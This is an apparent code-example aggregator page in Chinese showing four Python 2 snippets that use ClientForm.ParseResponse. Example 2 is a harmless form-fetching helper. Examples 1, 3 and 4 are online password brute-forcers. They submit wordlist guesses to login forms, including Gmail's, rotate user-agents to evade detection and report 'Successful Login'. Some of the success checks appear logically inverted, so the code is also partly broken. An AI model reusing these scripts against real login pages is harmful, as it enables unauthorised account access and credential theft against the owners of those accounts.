本文整理汇总了Python中ClientForm.ParseResponse方法的典型用法代码示例。如果您正苦于以下问题:Python ClientForm.ParseResponse方法的具体用法?Python ClientForm.ParseResponse怎么用?Python ClientForm.ParseResponse使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类ClientForm
的用法示例。
在下文中一共展示了ClientForm.ParseResponse方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: run
# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def run(self):
global success
value = getword()
try:
print "-"*12
print "User:",sys.argv[1],"Password:",value
cookieJar = ClientCookie.CookieJar()
opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
opener.addheaders = [("User-agent","Mozilla/5.0 (compatible)")]
ClientCookie.install_opener(opener)
fp = ClientCookie.urlopen("https://www.gmail.com/")
forms = ClientForm.ParseResponse(fp)
form = forms[0]
form["Email"] = sys.argv[1]
form["Passwd"] = value
fp = ClientCookie.urlopen(form.click())
site = fp.readlines()
for line in site:
if re.search("Gmail - Inbox", line):
print "\tSuccessful Login:", value
success = value
sys.exit(1)
fp.close()
except(socket.gaierror), msg:
pass
示例2: get_forms
# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def get_forms(self):
"""Returns all forms in the current document.
The returned form objects implement the ClientForm.HTMLForm interface.
"""
if self._forms is None:
import ClientForm
self._forms = ClientForm.ParseResponse(self.get_response(), backwards_compat=False)
return self._forms
示例3: run
# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def run(self):
global success
value = getword()
try:
print "-"*12
print "User:",sys.argv[2],"Password:",value
cookieJar = ClientCookie.CookieJar()
opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
opener.addheaders = [("User-agent", random.sample(headers, 1)[0])]
ClientCookie.install_opener(opener)
fp = ClientCookie.urlopen(sys.argv[1])
forms = ClientForm.ParseResponse(fp)
form = forms[0]
form["user"] = sys.argv[2]
form["pass"] = value
fp = ClientCookie.urlopen(form.click())
site = fp.readlines()
for line in site:
if re.search("Login failed.", line.lower()) != None:
print "\tSuccessful Login:", value
success = value
sys.exit(1)
fp.close()
except(socket.gaierror, urllib2.HTTPError), msg:
print msg
pass
示例4: run
# 需要导入模块: import ClientForm [as 别名]
# 或者: from ClientForm import ParseResponse [as 别名]
def run(self):
global success
value = getword()
try:
print "-"*12
print "User:",sys.argv[2],"Password:",value
cookieJar = ClientCookie.CookieJar()
opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
opener.addheaders = [("User-agent", random.sample(headers, 1)[0])]
ClientCookie.install_opener(opener)
fp = ClientCookie.urlopen(sys.argv[1])
forms = ClientForm.ParseResponse(fp)
form = forms[0]
form["username"] = sys.argv[2]
form["password"] = value
fp = ClientCookie.urlopen(form.click())
site = fp.readlines()
for line in site:
if re.search("invalid password", line.lower()) != None:
print "\tSuccessful Login:", value
print line
success = value
sys.exit(1)
if re.search("The maximum number of 5 login attempts has been exceeded.",line):
print "Attempts exceeded"
fp.close()
except(socket.gaierror), msg:
pass